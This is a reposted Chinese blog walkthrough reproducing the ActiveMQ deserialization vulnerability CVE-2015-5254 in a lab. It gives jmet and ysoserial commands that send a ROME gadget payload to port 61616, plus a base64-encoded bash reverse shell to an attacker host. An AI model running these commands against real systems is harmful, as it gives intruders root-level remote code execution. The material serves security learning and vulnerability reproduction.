码迷,mamicode.com
首页 > 其他好文 > 详细

ActiveMQ反序列化漏洞(CVE-2015-5254)

时间:2019-07-16 15:26:22      阅读:549      评论:0      收藏:0      [点我收藏+]

标签:目录   过程   extern   安全   http   https   反序列化   ofo   rom   

1.漏洞介绍:
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程***者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

2.漏洞利用过程如下:

①构造可执行命令的序列化对象
②作为一个消息,发送到目标61616端口
③访问web管理页面,读取信息,触发漏洞

3.漏洞复现:
1.首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
技术图片
mkdir external
技术图片
2.执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 靶机的ip 61616
技术图片
技术图片
3.它会给你的ID,访问http://你的ip:8161:8161/admin/queues.jsp
技术图片
技术图片
4.利用方式也很简单,我们只要将命令换成反弹shell语句再利用就行了。不过在这里我们需要一些小技巧来绕过Java的机制。
bash -i >& /dev/tcp/***机IP/8888 0>&1 bese64编码技术图片
把编码放进去。
bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
5.然后我们是使用同样的命令将payload发送到61616端口。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 靶机ip 61616
技术图片
6.然后我们查看这条消息,触发命令执行,这时我们在***机上监听端口,即可得到shell。技术图片
7.这就成功进来了,root权限!

ActiveMQ反序列化漏洞(CVE-2015-5254)

标签:目录   过程   extern   安全   http   https   反序列化   ofo   rom   

原文地址:https://blog.51cto.com/14259144/2420683

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!